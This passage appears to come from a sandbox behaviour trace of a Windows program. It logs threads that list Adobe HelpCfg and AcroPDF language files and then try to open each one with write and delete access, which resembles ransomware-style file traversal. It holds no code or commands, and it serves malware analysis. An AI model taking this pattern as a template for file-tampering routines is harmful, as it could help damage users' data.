ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0058.943] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0058.943] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0058.943] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x4eee78 [0058.943] wcscpy (in: _Dest=0x4eee78, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI" [0058.943] wcscat (in: _Dest=0x4eee78, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\" [0058.943] wcscat (in: _Dest=0x4eee78, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\Reader_10.0.helpcfg" [0063.891] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4eee78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x114c [0063.892] FindNextFileW (in: hFindFile=0x4400a0, lpFindFileData=0x12e043b8 | out: lpFindFileData=0x12e043b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0063.892] FindClose (in: hFindFile=0x4400a0 | out: hFindFile=0x4400a0) returned 1 [0063.893] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e043b8) returned 1 [0063.893] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45fe38) returned 1 [0063.893] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43bd20) returned 1 Thread: id = 722 os_tid = 0x8a0 [0051.136] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45feb8 [0051.136] wcscpy (in: _Dest=0x45feb8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE" [0051.136] wcscat (in: _Dest=0x45feb8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\" [0051.136] wcscat (in: _Dest=0x45feb8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\*" [0051.136] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e04620 [0051.136] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\*", lpFindFileData=0x12e04620 | out: lpFindFileData=0x12e04620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409fa8 [0058.949] wcscmp (_String1=".", _String2=".") returned 0 [0058.949] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x12e04620 | out: lpFindFileData=0x12e04620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.949] wcscmp (_String1="..", _String2=".") returned 1 [0058.949] wcscmp (_String1="..", _String2="..") returned 0 [0058.949] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x12e04620 | out: lpFindFileData=0x12e04620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0058.949] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0058.949] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0058.949] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec4aa8 [0058.949] wcscpy (in: _Dest=0x5ec4aa8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE" [0058.949] wcscat (in: _Dest=0x5ec4aa8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\" [0058.949] wcscat (in: _Dest=0x5ec4aa8, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\Reader_10.0.helpcfg" [0063.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec4aa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1160 [0063.901] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x12e04620 | out: lpFindFileData=0x12e04620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0063.901] FindClose (in: hFindFile=0x409fa8 | out: hFindFile=0x409fa8) returned 1 [0063.901] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e04620) returned 1 [0063.901] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45feb8) returned 1 [0063.901] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43bd98) returned 1 Thread: id = 723 os_tid = 0xd80 [0051.141] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e07a18 [0051.141] wcscpy (in: _Dest=0x12e07a18, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR" [0051.141] wcscat (in: _Dest=0x12e07a18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\" [0051.141] wcscat (in: _Dest=0x12e07a18, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\*" [0051.141] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e04888 [0051.141] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\*", lpFindFileData=0x12e04888 | out: lpFindFileData=0x12e04888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440ae0 [0058.944] wcscmp (_String1=".", _String2=".") returned 0 [0058.944] FindNextFileW (in: hFindFile=0x440ae0, lpFindFileData=0x12e04888 | out: lpFindFileData=0x12e04888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.944] wcscmp (_String1="..", _String2=".") returned 1 [0058.944] wcscmp (_String1="..", _String2="..") returned 0 [0058.944] FindNextFileW (in: hFindFile=0x440ae0, lpFindFileData=0x12e04888 | out: lpFindFileData=0x12e04888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0058.944] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0058.944] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0058.944] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x4eef18 [0058.944] wcscpy (in: _Dest=0x4eef18, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR" [0058.944] wcscat (in: _Dest=0x4eef18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\" [0058.944] wcscat (in: _Dest=0x4eef18, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\Reader_10.0.helpcfg" [0063.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4eef18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1150 [0063.894] FindNextFileW (in: hFindFile=0x440ae0, lpFindFileData=0x12e04888 | out: lpFindFileData=0x12e04888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 0 [0063.894] FindClose (in: hFindFile=0x440ae0 | out: hFindFile=0x440ae0) returned 1 [0063.894] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e04888) returned 1 [0063.894] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e07a18) returned 1 [0063.894] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43be10) returned 1 Thread: id = 724 os_tid = 0x880 [0051.271] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x12e07b18 [0051.271] wcscpy (in: _Dest=0x12e07b18, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA" [0051.271] wcscat (in: _Dest=0x12e07b18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\" [0051.271] wcscat (in: _Dest=0x12e07b18, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\*" [0051.271] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42fed0 [0051.272] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\*", lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6020 [0060.797] wcscmp (_String1=".", _String2=".") returned 0 [0060.797] FindNextFileW (in: hFindFile=0x4a6020, lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.797] wcscmp (_String1="..", _String2=".") returned 1 [0060.797] wcscmp (_String1="..", _String2="..") returned 0 [0060.797] FindNextFileW (in: hFindFile=0x4a6020, lpFindFileData=0x42fed0 | out: lpFindFileData=0x42fed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reader_10.0.helpcfg", cAlternateFileName="READER~1.HEL")) returned 1 [0060.797] wcscmp (_String1="Reader_10.0.helpcfg", _String2=".") returned 1 [0060.797] wcscmp (_String1="Reader_10.0.helpcfg", _String2="..") returned 1 [0060.797] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec4fa8 [0060.797] wcscpy (in: _Dest=0x5ec4fa8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA" [0060.797] wcscat (in: _Dest=0x5ec4fa8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\" [0060.797] wcscat (in: _Dest=0x5ec4fa8, _Source="Reader_10.0.helpcfg" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\Reader_10.0.helpcfg") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\Reader_10.0.helpcfg" Thread: id = 725 os_tid = 0x9c0 [0051.272] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CAT" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.cat")) returned 0x20 [0056.958] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CAT", dwFileAttributes=0x20) returned 0 [0056.958] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CAT" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.958] GetLastError () returned 0x5 [0056.958] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CAT", dwFileAttributes=0x20) returned 0 [0056.958] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445530) returned 1 Thread: id = 726 os_tid = 0x9c4 [0051.273] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CHS" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.chs")) returned 0x20 [0055.974] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CHS", dwFileAttributes=0x20) returned 0 [0055.974] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CHS" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.chs"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0055.975] GetLastError () returned 0x5 [0055.975] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CHS", dwFileAttributes=0x20) returned 0 [0055.975] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x438780) returned 1 Thread: id = 727 os_tid = 0xd94 [0051.274] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CHT" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.cht")) returned 0x20 [0056.959] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CHT", dwFileAttributes=0x20) returned 0 [0056.959] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CHT" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.cht"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.960] GetLastError () returned 0x5 [0056.960] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CHT", dwFileAttributes=0x20) returned 0 [0056.960] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x438818) returned 1 Thread: id = 728 os_tid = 0xdcc [0051.275] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CZE" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.cze")) returned 0x20 [0056.961] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CZE", dwFileAttributes=0x20) returned 0 [0056.961] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CZE" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.cze"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.961] GetLastError () returned 0x5 [0056.961] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CZE", dwFileAttributes=0x20) returned 0 [0056.961] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4388b0) returned 1 Thread: id = 729 os_tid = 0xdd0 [0051.275] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.DAN" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.dan")) returned 0x20 [0056.962] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.DAN", dwFileAttributes=0x20) returned 0 [0056.962] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.DAN" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.dan"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.962] GetLastError () returned 0x5 [0056.962] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.DAN", dwFileAttributes=0x20) returned 0 [0056.962] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x438948) returned 1 Thread: id = 730 os_tid = 0xddc [0051.276] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.DEU" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.deu")) returned 0x20 [0056.963] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.DEU", dwFileAttributes=0x20) returned 0 [0056.964] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.DEU" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.deu"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.964] GetLastError () returned 0x5 [0056.964] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.DEU", dwFileAttributes=0x20) returned 0 [0056.964] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4389e0) returned 1 Thread: id = 731 os_tid = 0xdf0 [0051.277] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.ESP" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.esp")) returned 0x20 [0056.965] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.ESP", dwFileAttributes=0x20) returned 0 [0056.965] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.ESP" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.esp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.965] GetLastError () returned 0x5 [0056.965] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.ESP", dwFileAttributes=0x20) returned 0 [0056.965] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x438a78) returned 1 Thread: id = 732 os_tid = 0x5cc [0051.278] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.EUQ" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.euq")) returned 0x20 [0056.966] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.EUQ", dwFileAttributes=0x20) returned 0 [0056.966] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.EUQ" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.euq"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.967] GetLastError () returned 0x5 [0056.967] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.EUQ", dwFileAttributes=0x20) returned 0 [0056.967] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x438b10) returned 1 Thread: id = 733 os_tid = 0xc04 [0051.278] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.FRA" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.fra")) returned 0x20 [0056.968] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.FRA", dwFileAttributes=0x20) returned 0 [0056.968] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.FRA" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.fra"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.968] GetLastError () returned 0x5 [0056.968] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.FRA", dwFileAttributes=0x20) returned 0 [0056.968] 